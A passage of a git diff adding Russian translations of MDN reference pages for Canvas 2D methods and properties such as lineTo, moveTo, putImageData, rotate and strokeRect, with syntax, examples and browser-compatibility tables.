+ctx.lineTo(150, 100);  // Рисует линию до точки (150, 100)
+ctx.stroke();          // Отображает путь
+ +

Результат

+ +

{{ EmbedLiveSample('Рисование_прямых_линий', 700, 180) }}

+ +

Рисование соединенных линий

+ +

Каждый вызов lineTo() автоматически добавляет текущий подпуть, это означает, что все линии будут обведены и закрашены вместе. Этот пример рисует букву 'M' линиями одного пути.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.moveTo(90, 130);
+ctx.lineTo(95, 25);
+ctx.lineTo(150, 80);
+ctx.lineTo(205, 25);
+ctx.lineTo(210, 130);
+ctx.lineWidth = 15;
+ctx.stroke();
+ +

Результаты

+ +

{{ EmbedLiveSample('Рисование_соединенных_линий', 700, 180) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-lineto", "CanvasRenderingContext2D.lineTo")}}{{Spec2('HTML WHATWG')}}
+ +

Поддержка браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.lineTo")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html new file mode 100644 index 0000000000..e16000bc2d --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/linewidth/index.html @@ -0,0 +1,179 @@ +--- +title: CanvasRenderingContext2D.lineWidth +slug: Web/API/CanvasRenderingContext2D/lineWidth +translation_of: Web/API/CanvasRenderingContext2D/lineWidth +--- +
{{APIRef}}
+ +

Свойство CanvasRenderingContext2D.lineWidth, предоставляемое Canvas 2D API задает толщину линий в пикселах. При получении свойства возвращается его текущее значение. При задании свойства, присваиваемое значение должно быть положительным числом, ноль, отрицательные числа, {{jsxref("Infinity")}} и {{jsxref("NaN")}} игнорируются.

+ +

См. также главу  Applying styles and color в Canvas Tutorial.

+ +

Синтаксис

+ +
ctx.lineWidth = value;
+ +

Значения

+ +
+
value
+
Число, задающее толщину линии в пикселах. Ноль, отрицательные числа, {{jsxref("Infinity")}} и {{jsxref("NaN")}} игнорируются.
+
+ +

Примеры

+ +

Использование свойства lineWidth

+ +

Ниже представлен простой фрагмент кода, использующий lineWidth.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(0,0);
+ctx.lineWidth = 15;
+ctx.lineTo(100, 100);
+ctx.stroke();
+
+ +

Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-linewidth", "CanvasRenderingContext2D.lineWidth")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозожностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ + + + + +

Особенности Gecko

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/measuretext/index.html b/files/ru/web/api/canvasrenderingcontext2d/measuretext/index.html new file mode 100644 index 0000000000..20efc3672c --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/measuretext/index.html @@ -0,0 +1,69 @@ +--- +title: CanvasRenderingContext2D.measureText() +slug: Web/API/CanvasRenderingContext2D/measureText +translation_of: Web/API/CanvasRenderingContext2D/measureText +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.measureText(), предоставляемый Canvas 2D API, возвращает объект {{domxref("TextMetrics")}}, содержащий информацию об измеренном тексте (например, ширину).

+ +

Синтаксис

+ +
ctx.measureText(text);
+ +

Параметры

+ +
+
text
+
Строка {{jsxref("String")}} для измерения.
+
+ +

Возвращаемое значение

+ +

Объект {{domxref("TextMetrics")}}.

+ +

Примеры

+ +

Используя элемент {{HTMLElement("canvas")}}:

+ +
<canvas id="canvas"></canvas>
+
+ +

... вы можете получить объект {{domxref("TextMetrics")}}, используя следующий код:

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+let text = ctx.measureText('Hello world');
+console.log(text.width);  // 56;
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-measuretext", "CanvasRenderingContext2D.measureText")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.measureText")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/miterlimit/index.html b/files/ru/web/api/canvasrenderingcontext2d/miterlimit/index.html new file mode 100644 index 0000000000..f22e392449 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/miterlimit/index.html @@ -0,0 +1,118 @@ +--- +title: CanvasRenderingContext2D.miterLimit +slug: Web/API/CanvasRenderingContext2D/miterLimit +translation_of: Web/API/CanvasRenderingContext2D/miterLimit +--- +
{{APIRef}}
+ +

Свойство CanvasRenderingContext2D.miterLimit устанавливает/возвращает максимальную длину среза.

+ +

Длина среза это расстояние между внутренним и внешнем углом, образованным пересечением двух линий.

+ +
+

For more info about miters, see Applying styles and color in the Canvas tutorial.

+
+ +

Синтаксис

+ +
ctx.miterLimit = число;
+ +

Options

+ +
+
число
+
Положительное число, определяющее максимальную длину среза. Если текущая длина среза будет превышать заданное значение, то угол будет отображаться как при значении bevel свойства lineJoin.
+
+ +

Примеры

+ +

Using the miterLimit property

+ +

See the chapter Applying styles and color in the Canvas tutorial for more information.

+ + + +

{{EmbedLiveSample("A_demo_of_the_miterLimit_property", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-miterlimit", "CanvasRenderingContext2D.miterLimit")}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.CanvasRenderingContext2D.miterLimit")}}

+ + + + + +

Gecko-specific notes

+ + + +

See also

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/moveto/index.html b/files/ru/web/api/canvasrenderingcontext2d/moveto/index.html new file mode 100644 index 0000000000..e0ea2d18b0 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/moveto/index.html @@ -0,0 +1,172 @@ +--- +title: CanvasRenderingContext2D.moveTo() +slug: Web/API/CanvasRenderingContext2D/moveTo +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Method + - Reference +translation_of: Web/API/CanvasRenderingContext2D/moveTo +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.moveTo(), предоставляемый Canvas 2D API, перемещает начальную точку нового фрагмента контура в координаты (x, y).

+ +

Синтаксис

+ +
void ctx.moveTo(x, y);
+
+ +

Параметры

+ +
+
x
+
Координата точки по оси x.
+
y
+
Координата точки по оси y.
+
+ +

Примеры

+ +

Использование метода moveTo

+ +

Ниже представлен простой фрагмент кода, использующий метод moveTo для того, чтобы переместить указатель в начальную позицию для рисования линии.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(200, 50);
+ctx.stroke();
+
+ +

Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.beginPath();
+ctx.moveTo(50,50);
+ctx.lineTo(200, 50);
+ctx.stroke()</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-moveto", "CanvasRenderingContext2D.moveTo")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/putimagedata/index.html b/files/ru/web/api/canvasrenderingcontext2d/putimagedata/index.html new file mode 100644 index 0000000000..a37cdc3479 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/putimagedata/index.html @@ -0,0 +1,177 @@ +--- +title: CanvasRenderingContext2D.putImageData() +slug: Web/API/CanvasRenderingContext2D/putImageData +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Method + - Reference +translation_of: Web/API/CanvasRenderingContext2D/putImageData +--- +
{{APIRef}}
+ +
+ +

CanvasRenderingContext2D.putImageData() метод Canvas 2D API рисует данные из заданного {{domxref("ImageData")}} объекта на холст. На этот метод не влияет матрица преобразования холста.

+ +
+

Примечание: Данные изображения могут быть получены с холста с помощью метода {{domxref("CanvasRenderingContext2D.getImageData()", "getImageData()")}}.

+
+ +

Вы можете найти больше информации о putImageData() и общих манипуляциях с содержимым холста в статье Пиксельные манипуляции с холстом.

+ +

Синтаксис

+ +
void ctx.putImageData(imageData, dx, dy);
+void ctx.putImageData(imageData, dx, dy, dirtyX, dirtyY, dirtyWidth, dirtyHeight);
+
+ +

Параметры

+ +
+
imageData
+
Объект {{domxref("ImageData")}}, содержащий массив значений пикселей..
+
dx
+
Горизонтальная позиция (координата x), в которой необходимо разместить данные изображения на целевом холсте.
+
dy
+
Вертикальная позиция (координата y), в которой необходимо разместить данные изображения на целевом холсте.
+
dirtyX{{optional_inline}}
+
Горизонтальная позиция (координата x) верхнего левого угла, из которого будут извлечены данные изображения. По умолчанию 0.
+
dirtyY {{optional_inline}}
+
Вертикальная позиция (координата y) верхнего левого угла, из которого будут извлечены данные изображения. По умолчанию 0.
+
dirtyWidth {{optional_inline}}
+
Ширина прямоугольника для рисования. По умолчанию ширина данных изображения.
+
dirtyHeight {{optional_inline}}
+
Высота прямоугольника для рисования. По умолчанию высота данных изображения.
+
+ +

Ошибки

+ +
+
NotSupportedError
+
Выбрасывается, если любой из аргументов бесконечен.
+
InvalidStateError
+
Выбрасывается, если данные объекта ImageData были отделены.
+
+ +

Примеры

+ +

Понимание putImageData

+ +

Чтобы понять, что этот алгоритм делает под капотом, вот реализация сверху {{domxref("CanvasRenderingContext2D.fillRect()")}}.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
let canvas = document.getElementById('canvas');
+let ctx = canvas.getContext('2d');
+
+function putImageData(ctx, imageData, dx, dy,
+    dirtyX, dirtyY, dirtyWidth, dirtyHeight) {
+  let data = imageData.data;
+  let height = imageData.height;
+  let width = imageData.width;
+  dirtyX = dirtyX || 0;
+  dirtyY = dirtyY || 0;
+  dirtyWidth = dirtyWidth !== undefined? dirtyWidth: width;
+  dirtyHeight = dirtyHeight !== undefined? dirtyHeight: height;
+  let limitBottom = dirtyY + dirtyHeight;
+  let limitRight = dirtyX + dirtyWidth;
+  for (let y = dirtyY; y < limitBottom; y++) {
+    for (let x = dirtyX; x < limitRight; x++) {
+      var pos = y * width + x;
+      ctx.fillStyle = 'rgba(' + data[pos*4+0]
+                        + ',' + data[pos*4+1]
+                        + ',' + data[pos*4+2]
+                        + ',' + (data[pos*4+3]/255) + ')';
+      ctx.fillRect(x + dx, y + dy, 1, 1);
+    }
+  }
+}
+
+// Нарисуйте контент на холсте
+ctx.fillRect(0, 0, 100, 100);
+// Создайте объект ImageData из него
+let imagedata = ctx.getImageData(0, 0, 100, 100);
+// используйте функцию putImageData, которая иллюстрирует, как работает putImageData
+putImageData(ctx, imagedata, 150, 0, 50, 50, 25, 25);
+
+ +

Результат

+ +

{{ EmbedLiveSample('Понимание_putImageData', '', '', '', 'Web/API/CanvasRenderingContext2D/putImageData',800) }}

+ +

Потеря данных из-за оптимизации браузера

+ +
+

 Из-за характера потерь при преобразовании в и из предварительно умноженных значений альфа-цвета пиксели, которые были только что установлены с помощью putImageData(), могут быть возвращены в эквивалентный getImageData() в качестве различных значений.

+
+ +

JavaScript

+ +
const canvas = document.createElement("canvas");
+canvas.width = 1;
+canvas.height = 1;
+const context = canvas.getContext("2d");
+const imgData = context.getImageData(0, 0, canvas.width, canvas.height);
+const pixels = imgData.data;
+
+pixels[0 + 0] = 1;
+pixels[0 + 1] = 127;
+pixels[0 + 2] = 255;
+pixels[0 + 3] = 1;
+
+console.log("before:", pixels);
+context.putImageData(imgData, 0, 0);
+const imgData2 = context.getImageData(0, 0, canvas.width, canvas.height);
+const pixels2 = imgData2.data;
+console.log("after:", pixels2);
+ +

Вывод может выглядеть так:

+ +
before: Uint8ClampedArray(4) [ 1, 127, 255, 1 ]
+after: Uint8ClampedArray(4) [ 255, 255, 255, 1 ]
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-putimagedata", "CanvasRenderingContext2D.putImageData")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузера

+ + + +

{{Compat("api.CanvasRenderingContext2D.putImageData")}}

+ +

Специфичные для Gecko заметки

+ + + +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/rect/index.html b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html new file mode 100644 index 0000000000..d5b1d4415f --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/rect/index.html @@ -0,0 +1,173 @@ +--- +title: CanvasRenderingContext2D.rect() +slug: Web/API/CanvasRenderingContext2D/rect +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Method + - Reference +translation_of: Web/API/CanvasRenderingContext2D/rect +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.rect(), предоставляемый Canvas 2D API, создает контур прямоугольника в позиции (x, y), размеры которого устанавливаются аргументами width и height. Четыре точки прямоугольника соединяются прямыми линиями, и получившийся фрагмент контура отмечается как замкнутый, так что вы можете выполнить его заливку или обрисовать контур.

+ +

Синтаксис

+ +
void ctx.rect(x, y, width, height);
+
+ +

Параметры

+ +
+
x
+
Координата начальной точки прямоугольника по оси x.
+
y
+
Координата начальной точки прямоугольника по оси y.
+
width
+
Ширина прямоугольника.
+
height
+
Высота прямоугольника.
+
+ +

Примеры

+ +

Использование метода rect

+ +

Ниже представлен простой фрагмент кода, использующий метод rect для создания контура. Для того чтобы нарисовать контур на холсте вы можете воспользоваться методами {{domxref("CanvasRenderingContext2D.fill", "fill()")}} или {{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}. Обратите внимание так же на методы {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} и {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect()")}} которые могут сделать тоже самое за один раз .

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.rect(10, 10, 100, 100);
+ctx.fill();
+
+ +

Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rect(10, 10, 100, 100);
+ctx.fill();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rect", "CanvasRenderingContext2D.rect")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/restore/index.html b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html new file mode 100644 index 0000000000..33feac8b7e --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/restore/index.html @@ -0,0 +1,76 @@ +--- +title: CanvasRenderingContext2D.restore() +slug: Web/API/CanvasRenderingContext2D/restore +translation_of: Web/API/CanvasRenderingContext2D/restore +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.restore() восстанавливает предварительно сохраненное состояние канваса из стека. Если состояние ранее не сохранялось, то метод ничего не делает.

+ +

Fore more information about the drawing state, see {{domxref("CanvasRenderingContext2D.save()")}}.

+ +

Синтаксис

+ +
void ctx.restore();
+ +

Пример

+ +

Restoring a saved state

+ +

This example uses the save() method to save the default state and restore() to restore it later, so that you are able to draw a rect with the default state later.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Save the default state
+ctx.save();
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+
+// Restore the default state
+ctx.restore();
+
+ctx.fillRect(150, 40, 100, 100);
+
+ +

Результат

+ +

{{ EmbedLiveSample('Restoring_a_saved_state', 700, 180) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-restore", "CanvasRenderingContext2D.restore")}}{{Spec2('HTML WHATWG')}}
+ +

Поддержка браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.restore")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html new file mode 100644 index 0000000000..ea206a5d1f --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/rotate/index.html @@ -0,0 +1,120 @@ +--- +title: CanvasRenderingContext2D.rotate() +slug: Web/API/CanvasRenderingContext2D/rotate +translation_of: Web/API/CanvasRenderingContext2D/rotate +--- +
{{APIRef}}
+ +
Метод CanvasRenderingContext2D.rotate() из Canvas 2D API добавляет поворот в матрицу преобразования. Параметр angle - это угол поворота по часовой стрелке, в радианах.
+ +

Syntax

+ +
void ctx.rotate(angle);
+
+ +

+ +

Parameters

+ +
+
angle
+
Угол поворота по часовой стрелке, в радианах. Вы также можете использовать degree * Math.PI / 180 если вы хотите использовать для угла значение градуса (degree).
+
+ +

Центром вращения всегда является начало холста. Для изменения центра вращения, нам необходимо передвинуть холст, используя метод {{domxref("CanvasRenderingContext2D.translate", "translate()")}}.

+ +

Примеры

+ +

Использование метода rotate

+ +

Ниже приведен простой пример кода, который использует метод rotate.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70, 0, 100, 30);
+
+// reset current transformation matrix to the identity matrix
+ctx.setTransform(1, 0, 0, 1, 0, 0);
+
+ +

Отредактируйте приведенный ниже код и посмотрите, как обновляются ваши изменения на холсте:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rotate(45 * Math.PI / 180);
+ctx.fillRect(70,0,100,30);
+ctx.setTransform(1, 0, 0, 1, 0, 0);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-rotate", "CanvasRenderingContext2D.rotate")}}{{Spec2('HTML WHATWG')}} 
+ +

Поддержка браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.rotate")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/save/index.html b/files/ru/web/api/canvasrenderingcontext2d/save/index.html new file mode 100644 index 0000000000..8716b6487c --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/save/index.html @@ -0,0 +1,84 @@ +--- +title: CanvasRenderingContext2D.save() +slug: Web/API/CanvasRenderingContext2D/save +translation_of: Web/API/CanvasRenderingContext2D/save +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.save() - метод Canvas 2D API. Сохраняет все состояния и добавляет текущее состояние в стек.

+ +

Состояние чертежа

+ +

Состояние чертежа, которое сохраняется в стеке, состоит из:

+ + + +

Синтаксис

+ +
void ctx.save();
+ +

Пример

+ +

Сохранение состояния чертежа

+ +

Этот пример использует метод save() для сохранения состояния по умолчанию, и метод restore() для восстановления состояния позже, чтобы позже можно было нарисовать прямоугольник с состоянием по умолчанию.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Сохранение состояния по умолчанию
+ctx.save();
+
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);
+
+// Восстановление состояния по умолчанию
+ctx.restore();
+
+ctx.fillRect(150, 40, 100, 100);
+ +

Результат

+ +

{{ EmbedLiveSample('Saving_the_drawing_state', 700, 180) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-save", "CanvasRenderingContext2D.save")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.CanvasRenderingContext2D.save")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html new file mode 100644 index 0000000000..1ac7882a57 --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/stroke/index.html @@ -0,0 +1,116 @@ +--- +title: CanvasRenderingContext2D.stroke() +slug: Web/API/CanvasRenderingContext2D/stroke +translation_of: Web/API/CanvasRenderingContext2D/stroke +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.stroke() Canvas 2D API обводит текущий или данный контур цветом strokeStyle.

+ +

Обводка выравнивается по центру контура, другими словами, половина линии обводки рисуется с внутренней стороны контура, и половина с внешней.

+ +

Обводка отрисовывается согласно правилу ненулевого индекса, а значит, пересекающиеся части контура также будут обведены.

+ +

Синтаксис

+ +
void ctx.stroke();
+void ctx.stroke(path);
+
+ +

Параметры

+ +
+
path
+
{{domxref ("Path2D")}} - контур, который нужно обвести.
+
+ +

Примеры

+ +

Использование метода stroke()

+ +

В этом примере с помощью метода rect() создается прямоугольник, и затем с помощью stroke() отрисовывается на холсте.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+
+ +

Отредактируйте приведенный ниже код и посмотрите, как обновляется рисунок на холсте:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroke", "CanvasRenderingContext2D.stroke")}}{{Spec2('HTML WHATWG')}} 
+ +

Поддержка браузеров

+ + + +

{{Compat("api.CanvasRenderingContext2D.stroke")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvasrenderingcontext2d/strokerect/index.html b/files/ru/web/api/canvasrenderingcontext2d/strokerect/index.html new file mode 100644 index 0000000000..e211be454f --- /dev/null +++ b/files/ru/web/api/canvasrenderingcontext2d/strokerect/index.html @@ -0,0 +1,173 @@ +--- +title: CanvasRenderingContext2D.strokeRect() +slug: Web/API/CanvasRenderingContext2D/strokeRect +tags: + - API + - Canvas + - CanvasRenderingContext2D + - Method + - Reference +translation_of: Web/API/CanvasRenderingContext2D/strokeRect +--- +
{{APIRef}}
+ +

Метод CanvasRenderingContext2D.strokeRect(), предоставляемый Canvas 2D API, рисует на холсте прямоугольник, имеющий начальную точку с координатами (x, y), а так же ширину w и высоту h, используя текущий стиль линий.

+ +

Синтаксис

+ +
void ctx.strokeRect(x, y, width, height);
+
+ +

Параметры

+ +
+
x
+
Координата начальной точки прямоугольника по оси x.
+
y
+
Координата начальной точки прямоугольника по оси y.
+
width
+
Ширина прямоугольника.
+
height
+
Высота прямоугольника.
+
+ +

Примеры

+ +

Использование метода strokeRect

+ +

Ниже представлен простой фрагмент кода, использующий метод strokeRect.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.strokeStyle = "green";
+ctx.strokeRect(10, 10, 100, 100);
+
+ +

Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
